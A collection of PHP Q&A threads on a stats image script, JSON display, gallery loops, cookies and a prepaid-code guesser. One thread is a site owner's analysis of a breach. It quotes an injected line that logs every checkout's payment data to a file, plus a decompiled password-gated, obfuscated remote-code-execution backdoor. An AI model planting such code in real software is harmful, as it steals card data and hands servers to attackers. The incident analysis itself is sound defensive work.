Unable to get stat gathering to work - php
Using PHP to gather stats from multiple files. Goal is to take the entire first row of data, which is the column name, then take the entire row of data from the row where the first column matches the name specified in the code. These two rows should then be linked to each other, so they can be displayed in a dynamic image.
However, to avoid excessive requests from the external data source, the data is only downloaded once a day by saving it into a json file. The previous day's data is also kept, to perform a difference calculation.
What I'm stuck on is...well, it's not working as intended. The dynamic image does not display and says it cannot be displayed because it contains errors, and the files aren't being created properly. Without any files existing, only the 'old' data file is being created, and the gathered data is saved there in a format that I didn't expect.
Here's the entire PHP code:
<?php
header("Content-Type:image/png");
$root=realpath($_SERVER['DOCUMENT_ROOT']);
function saveTeamData(){
$urls=array('http://www.dc-vault.com/stats/bio.txt','http://www.dc-vault.com/stats/math.txt','http://www.dc-vault.com/stats/misc.txt','http://www.dc-vault.com/stats/overall.txt','http://www.dc-vault.com/stats/phys.txt');
$fullJson=array();
function stats($url){
$json=array();
$team=array("teamName");
$file=fopen($url,'r');
$firstRow=fgetcsv($file,0,"\t");
while($data=fgetcsv($file,0,"\t")){
if(in_array($data[0],$team)){
foreach($firstRow as $indx=>$colName){
if((strpos($colName,'Position')!=0)||(strpos($colName,'Score')!=0)||(strpos($colName,'Team')!=0)){
if(strrpos($colName,'Position')!==false){
$colName=substr($colName,0,strpos($colName,' Position'));
$colName=$colName."Pos";
}else{
$colName=substr($colName,0,strpos($colName,' Score'));
$colName=$colName."Score";
}
$colName=str_replace(' ',',',$colName);
$teamData[$colName]=$data[$indx];
}
}
$json=$teamData;
}
}
fclose($file);
return $json;
}
foreach($urls as $item){
$fullJson=array_merge($fullJson,stats($item));
}
$final_json['teamName']=$fullJson;
$final_json['date']=date("Y-m-d G:i:s",strtotime("11:00"));
$final_json=json_encode($final_json);
file_put_contents("$root/scripts/vaultData.js",$final_json);
return $final_json;
}
if(!file_exists("$root/scripts/vaultData.js")){
$teamData=saveTeamData();
}else{
$teamData=json_decode(file_get_contents("$root/scripts/vaultData.js"));
}
$lastDate=$teamData->date;
$now=date("Y-m-d G:i:s");
$hours=(strtotime($now)-strtotime($lastDate))/3600;
if($hours>=24||!file_exists("$root/scripts/vaultDataOld.js")){
file_put_contents("$root/scripts/vaultDataOld.js",json_encode($teamData));
$teamData=saveTeamData();
}
$team=$teamData->{"teamName"};
$teamOld=json_decode(file_get_contents("$root/scripts/vaultDataOld.js"))->{"teamName"};
$template=imagecreatefrompng("$root/images/vaultInfo.png");
$black=imagecolorallocate($template,0,0,0);
$font='images/fonts/UbuntuMono-R.ttf';
$projects=array();
$subsections=array();
foreach($team as $key=>$val){
$projectName=preg_match("/^(.*)(?:Pos|Score)$/",$key,$cap);
$projectName=str_replace(","," ",$cap[1]);
if(preg_match("/Pos/",$key)){
$$key=(strlen($val)>10?substr($val,0,10):$val);
$delta=$key."Delta";
$$delta=($val - $teamOld->{$key});
$$delta=(strlen($$delta)>5?substr($$delta,0,5):$$delta);
if($projectName!=="Overall"){
if(!in_array($projectName,array("Physical Science","Bio/Med Science","Mathematics","Miscellaneous"))){
$projects[$projectName]["position"]=$$key;
$projects[$projectName]["position delta"]=$$delta*1;
}else{
$subsections[$projectName]["position"]=$$key;
$subsections[$projectName]["position delta"]=$$delta*1;
}
}
}elseif(preg_match("/Score/",$key)){
$$key=(strlen($val)>10?substr($val,0,10):$val);
$delta=$key."Delta";
$$delta=($val - $teamOld->{$key});
$$delta=(strlen($$delta)>9?substr($$delta,0,9):$$delta);
if($projectName!=="Overall"){
if(!in_array($projectName,array("Physical Science","Bio/Med Science","Mathematics","Miscellaneous"))){
$projects[$projectName]["score"]=$$key;
$projects[$projectName]["score delta"]=$$delta;
}else{
$subsections[$projectName]["score"]=$$key;
$subsections[$projectName]["score delta"]=$$delta;
}
}
}
}
$sort=array();
foreach($projects as $key=>$row){
$sort[$key]=$row["score"];
}
array_multisort($sort,SORT_DESC,$projects);
$lastupdated=round($hours,2).' hours ago';
$y=35;
foreach($projects as $name=>$project){
imagettftext($template,10,0,5,$y,$black,$font,$name);
imagettftext($template,10,0,149,$y,$black,$font,$project['position']);
imagettftext($template,10,0,216,$y,$black,$font,$project['position delta']*-1);
imagettftext($template,10,0,257,$y,$black,$font,$project['score']);
imagettftext($template,10,0,331,$y,$black,$font,$project['score delta']);
$y+=20;
}
$y=655;
foreach($subsections as $name=>$subsection){
imagettftext($template,10,0,5,$y,$black,$font,$name);
imagettftext($template,10,0,149,$y,$black,$font,$subsection['position']);
imagettftext($template,10,0,216,$y,$black,$font,$subsection['position delta']*-1);
imagettftext($template,10,0,257,$y,$black,$font,$subsection['score']);
imagettftext($template,10,0,331,$y,$black,$font,$subsection['score delta']);
$y+=20;
}
imagettftext($template,10,0,149,735,$black,$font,$team->{'OverallPos'});
imagettftext($template,10,0,216,735,$black,$font,$OverallPosDelta*-1);
imagettftext($template,10,0,257,735,$black,$font,$OverallScore);
imagettftext($template,10,0,331,735,$black,$font,$OverallScoreDelta);
imagettftext($template,10,0,149,755,$black,$font,$lastupdated);
imagepng($template);
?>
And here is what the data looks like when it is saved:
"{\"teamName\":{\"Folding#HomePos\":\"51\",\"Folding#HomeScore\":\"9994.405407\"},\"date\":\"2014-03-14 11:00:00\"}"
I've omitted most of the data because it just makes things excessively long, and it helps to see the format. Now the reason why its an unexpected output is because I didn't expect trailing slashes to be in it. The older version of this code would output like this:
{"teamName":{"Asteroids#HomePos":"192","Asteroids#HomeScore":"7647.783251"},"date":"2014-03-14 11:00:00"}
So the expected behaviour is to to gather the data from the aforementioned rows in each tab delimited text file, copy the old data into the 'old' data file (vaultDataold), save the new data into the 'current' data file (vaultData), and then display the data from the 'current' file in a dynamic image, along with performing a 'new' minus 'old' calculation on the two files to show the change since the previous day.
Most of this code should work, as I've had it working before in a different way. The issue likely lies somewhere with gathering the row data and saving it, most probably the latter. I'm guessing the slashes are causing the issue.
Turns out that the cause was twofold. Firstly, in my function, I was JSON encoding something that had already been encoded, so when the second file was saved, it appeared as shown in my question. To fix that, I did this:
$final_json['date']=date("Y-m-d G:i:s",strtotime("11:00"));
$encode_json=json_encode($final_json);
file_put_contents("$root/scripts/vaultData.js",$encode_json);
return $final_json;
In addition, as pointed out by another in the comments, I had to add $root to my function, and again within it.
Related
Output json to php (frontend)
Here is the output as its beeing displayed right now in my index file (on the wesbite) So this is what i have right now https://gyazo.com/e3b5efb2c0ac9c7225c5c322ae92b0e9 And i want to have that displayed more nicley ( perhaps in a table with header from and then text ) That is my problem, im usure of what i can google or search for. Get the data that is saved in my json file. And Display it nicley in my index. Get some of the values from my .json file and display them in my index. Here is my php code. $outfile= 'result.json'; $url='https://newsapi.org/v2/top-headlines?country=us&category=business&apiKey=MYAPIKEY'; $json = file_get_contents($url); if($json) { if(file_put_contents($outfile, $json, FILE_APPEND)) { echo "Saved JSON fetched from “{$url}” as “{$outfile}”."; } else { echo "Unable to save JSON to “{$outfile}”."; } } else { echo "Unable to fetch JSON from “{$url}”."; } $option = $_GET['option']; And here its how i's getting displayed in my .json file. {"status":"ok","totalResults":20,"articles":[{"source":{"id":"cnn","name":"CNN"},"author":"Matt McFarland","title":"Has Elon Musk lost control of his hype machine?","description":"For years, the entrepreneur controlled public opinion of Tesla. That's changing.","url":"https://money.cnn.com/2018/07/26/technology/elon-musk-tesla/index.html",
You might have invalid json response. verify first whether do you have valid json. May be copy your response and check it in some validator website like www.jsonlnt.com if json is fine then PHP function json_decode($you_json_string_php_variable); will work fine.
PHP for loop nested issue - random broke everything
I can't find the issue with my code... There's two for loop for building a layout that randomly wraps together the images (from 1 to 3 photos inside a wrapper div) Sometimes it goes well, but sometimes it gives me the error: call method to null (like the object array can't access the property). here is the code: if (isset($get_medias)){ //new gallery structure $output_gallery_main.='<div id="g-fotografica" class="metro_gallery flip vertical lightbox">'; $indice=0;$loop_counter=0; for($indice;$indice<count($get_medias);$indice++){ $rand_n=rand(0,2); if($loop_counter==0) { $item_size="2x2"; } else { $item_size="1x1"; } $output_gallery_main.='<div class="tile tile_'.$item_size.' '.$loop_counter.' white">'; for($a=0;$a<=$rand_n;$a++){ $nuovo_indice=$indice+$a; $m_media=$get_medias[$nuovo_indice]; $titolo=$m_media->get_titolo(); $alt=$m_media->get_alt(); $src=$m_media->get_src(); $thumb_src=$m_media->get_thumb(); $stato=$m_media->get_stato() == 1 ? 'visibile' : 'nascosto'; $ordine=$m_media->get_ordinamento_modello($modello); if($stato=="visibile"){ //build the structure $output_gallery_main.='<img src="http://'.$thumb_src.'" alt="'.$alt.'" title="'.$alt.'" data-preview="http://'.$src.'" data-caption="'.$titolo.'" />'; } } $output_gallery_main.='</div>'; $indice=$nuovo_indice; $loop_counter++; } $output_gallery_main.='</div>'; Please help me....I'm going crazy! ps. The $get_media is an array retreived from a db, I printed out the array and it's alway well formed.
Deobfuscating Malicious Code: What's the purpose of this code?
So this week our small business ecommerce site got hacked. We noticed that the files on the live server were out of sync with our svn repo. Two files having to do with verifying card numbers had this at the end: #file_put_contents("/home/*****/public_html/errors/error_log.txt", "{$_SERVER["REMOTE_ADDR"]}, {$_SERVER["REQUEST_URI"]}:\n" . print_r($_POST, 1), FILE_APPEND); It writes the current request to an error_log.txt file. This code runs when the user hits 'confirm purchase', so the request has the full payment info in it. Obviously, this is not good. We reverted the files and started investigating. The file this line was in was a *.inc file, and not publicly visible. The attacker must have already had access to our file system to read our code, know that that particular file was called during checkout, and insert the line in the correct place. Today I found another file tucked away in a rarely touched corner of the site. log.php seems to present an interface for remote code execution. It was heavily obfuscated. Here is my attempt at deobfuscating it. Scroll past the massive block of base64 encoded mystery code to see my comments. <?php $data=base64_decode(str_replace("\n", '', 'QN9EtEFn6E6PdorQgs1ajlfZs1w4xwitRKP/Cp9rQAUzJBBKgKrxCH+2gWHDKdoxT6niRZ0t4v2YSCsa CG77y97NpDud8Hc/v5vAjRt4EFaJm6/p3/C13hkqKfDm2z9E6Eqtjz659tMlDJyOKsUsskiM5u0qPY5c KPlFPuUREMAyyqux96xbT3QSIgEaKQf7L9AD7ozUZ1vHZRR3v5YlzYnOgVBKqOGFLuxmRcR1a2zpqjAh fXvi6Y+kn9XJKiZE3+mqd2LHj+vJmmNTxr8lJ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Yj0623kr6fR6mHzH7z92OXfDm5qkcY26BITeDeWLza73DBW1QLSy8b/RTLRKepRc O2gThfKa110b4lcOIAwc11DYpZobK9sQ+V+BWyen3oPfW63e4BppFqlps+U5qZuFt0f6wAIQJU/cEBGV ihhPJ/CJysIpTueRLbU01YdvPkpIRno5QAaXcs+ziHLiJE86MQQpawwxVDEbdBocETrpcg6mt7KWVvOT l8rAOwN/Pcb69OiSNCr4cQIj3jN6/4J/2DAJ+XbVSoSClkWyXE7s0W7M2t+KqnQ6mz3QYyHenTySneEx /LSOxcdkOlceEkhoo1PoburJTP0TuDW0tT6Fh3c+sT6FAQRG1llbA7Zp7W7CMIrhPR0Bv9tEBEfZztAm t5cFVhxJ/zEsSpT/MH3WIMOzKY4mqpXofOUPuA7Jfy1xnNR/ufpzNI6DgxGjl+2pVJjIg5JTO333jrFV NfeMSU6pKnVWkmDdNQtEUrAF93eqnDWWCXxv/akwuXDt4VFwjGcPei66FtJafmEXZppoHp5Hz9XmaIPl QrWxwy98Wi/EjIH/V9DklZ8TTh4JF13IzYSRl5T75q4dcuQKvwSclZyB7dUOhy3xrAF9IPtssiMq+f01 tyv1Lr0= ')); //$l___l_ = $data //$l__l_ = $input //$l____l_ = $i and $func //If the form was submitted, load from post, otherwise check for a cookie and use that. $input=isset($_POST['input'])?$_POST['input']:(isset($_COOKIE['input'])?$_COOKIE['input']:NULL); if($input!==NULL) { /* This is a modified hash function, it looks like the md5 hash with extra characters on the end I notice (because of the string reverse function in there) that when the input string is a palindrome the extra characters on the end of the output string match the beginning of the output string e.g. input string = '12321' md5 = 8542516f8870173d7d1daba1daaaf0a1 modified md5 = 8542516f8870173d7d1daba1daaaf0a185425 The end of the modified md5 (85425) matches the beginning. Don't know how relevant that is. */ $input = md5($input).substr(md5(strrev($input)), 0, strlen($input)); //Note 15185 is the length of the data string above after base64 decoding. for($i = 0; $i < 15185; $i++) { //Take the ascii # of the data char at each position and subtract the ascii # of the char //at the same position in the hashed input. Loop over 256 and return as a char $data[$i]=chr(( ord($data[$i])-ord($input[$i]))%256); //Then add that char to the end of the hashed input string $input.=$data[$i]; } //$data has been modified at this point, if gzip suceeds in decompressing it if($data=#gzinflate($data)) { //If we made a post save it in a cookie if(isset($_POST['input']))#setcookie('input', $_POST['input']); //create a function from the unzipped data, unset used variables, and run the function. $func=create_function('',$data); unset($data,$input); $func(); } }?> <form action="" method="post"><input type="text" name="input" value=""/><input type="submit" value=">"/></form> So to summarize it looks like it takes your input, runs it through some md5 shenanigans, combines it with the de-base64'd block of data, unzips it, turns the result into a function, and runs it. My question is why? Why not just take a text input and eval() it? What is this extra code giving the hacker that he couldn't do before? And is there any way I can see what's in the block of code? It looks like the input can't be plain php, but rather a string of gobbledegook that fits together with the data to create a valid zip file.
This code obfuscation is mainly done to hide the real activity from any researcher. Also, some tools can discover the malicious code if it's not obfuscated. To discover what's hidden behind the scenery, you could have dumped the $data var just before create_function was called. But you can't do that without knowing the incoming data from the hacker's input. If you really want to know, what's there, you can set up logging for the input data and wait until the hacker comes to the site.
PHP code to replace certain values in array, code generator
I am trying to write PHP code as a hobby project to basically create a "possible" code generator. The scenario is that we have a list of 25 valid characters that can be used. Imagine that you have a 25 character code but you have accidentally scratched off the first two characters or three characters at any location in the code. Now we need to find all the possible combinations to try out. I have put all the valid characters into the array below that can be used in the code. $valid=array("B","C","D","F","G","H","J","K","M","P","Q","R","T","V","W","X","Y","Z", "2","3","4","6","7","8","9"); $arraylength=count($valid); The still available or seen characters are input into a text box and in the place where the character is unreadable is left blank and the variable values are fetched. $char1= $_POST['code1']; $char2= $_POST['code2']; $char3= $_POST['code3']; $char4= $_POST['code4']; $char5= $_POST['code5']; $char6= $_POST['code6']; $char7= $_POST['code7']; $char8= $_POST['code8']; $char9= $_POST['code9']; $char10= $_POST['code10']; $char11= $_POST['code11']; $char12= $_POST['code12']; $char13= $_POST['code13']; $char14= $_POST['code14']; $char15= $_POST['code15']; $char16= $_POST['code16']; $char17= $_POST['code17']; $char18= $_POST['code18']; $char19= $_POST['code19']; $char20= $_POST['code20']; $char21= $_POST['code21']; $char22= $_POST['code22']; $char23= $_POST['code23']; $char24= $_POST['code24']; $char25= $_POST['code25']; And put into an array... $jada = array($char1, $char2, $char3, $char4, $char5, $char6, $char7, $char8, $char9, $char10, $char11, $char12, $char13, $char14, $char15 , $char16, $char17, $char18, $char19, $char20, $char21, $char22, $char23, $char24, $char25); I have been stumped for a while now, the fiddling I have done at the moment is that if a variable is empty then do something (as a test echo or print the possible combinations) if(!isset($char1) || trim($char1) == ""){ for($x=0;$x<$arraylength;$x++) { echo $valid[$x]; echo "<br>"; } } else{ echo ($char1); } Can you guys help out?
Saw this still in an open status after many years of hiatus, I figured that I may as well share some information. In the end I figured it out, you can grab the source here and test it in your own server: https://github.com/Masterkriz/XBOX_Pre-paid_code_fixer
Set cookie fails for first time but works on refresh
Though after reading explanations about setting cookie and not working for first time i find it difficult to resolve the below problem as am new to php and cookies. I have a webpage with for (e.g) cp.php, login.php, header.php, maindata.php , bottom.php. Whenever i login to the webpage cp.php will be processed from there 1.header.php will be called first 2.maindata.php will be called and 3.bottom.php will be called. So am setting my cookie at maindata.php and the code is like, <?php $cid = $_GET["id"]; $XmlPath = $_GET["path"]; $numpath = $_GET["numpath"]; $finepath =$_GET["finepath"]; $Tech =$_GET["tech"]; $read_str=""; function read($Path) { $temp=""; if(file_exists($Path)) { $library = new SimpleXMLElement($Path,null,true); foreach($library->children("SAS") as $info){ foreach($info->children("SAS") as $attributes){ $nameVal = $attributes->Name."=".$attributes->Value; $str_temp .=$nameVal."#"; } } }else { $str_temp ="NA"; } return $str_temp; } $arrpath =explode(",",$XmlPath); /*Reading and storing arrpath[0] has the path of xml to be parsed*/ $strG=read($arrpath[0]); $strC=read($arrpath[1]); $strB =read($arrpath[2]); setcookie($cid.'strE',$strG); setcookie($cid.'comstr',$strC); setcookie($cid.'basstr',$strB); (....) in the same file am reading the cookie using the below code, $read_str =$_COOKIE[$cid.'strE'].$_COOKIE[$cid.'comstr'].$_COOKIE[$cid.'basstr']; after this process is done bottom.php will be called and for the first time loading is completed.As i said for the first time am not getting any value in $read_str, but if i refresh the page and do all the process again i am getting the value. As SETCOOKIE will return TRUE incase of successfully setting cookie i tried putting it in an if-loop and it returned false even for the first time. kindly assist me in finding where the problem exists!
Make use of isset to check if a cookie exists and then try setting one. Something like this. if(!isset($_COOKIE['yourcookie'])) { setcookie('yourcookie', 'Some data !'); $_COOKIE['yourcookie'] = 'Some data !'; } echo $_COOKIE['yourcookie'];
I arrived here looking for an answer as well. Here's the deal. When you set a cookie it can only be accessed on the next page load, that is why you can't access it after you set it. If you really need to work with the cookie data right away, you could set the value directly in global cookie such as: $_COOKIE['my_cookie'] = 'i am a cookie'; Use setcookie()just the same so you can set expiration, domain, etc..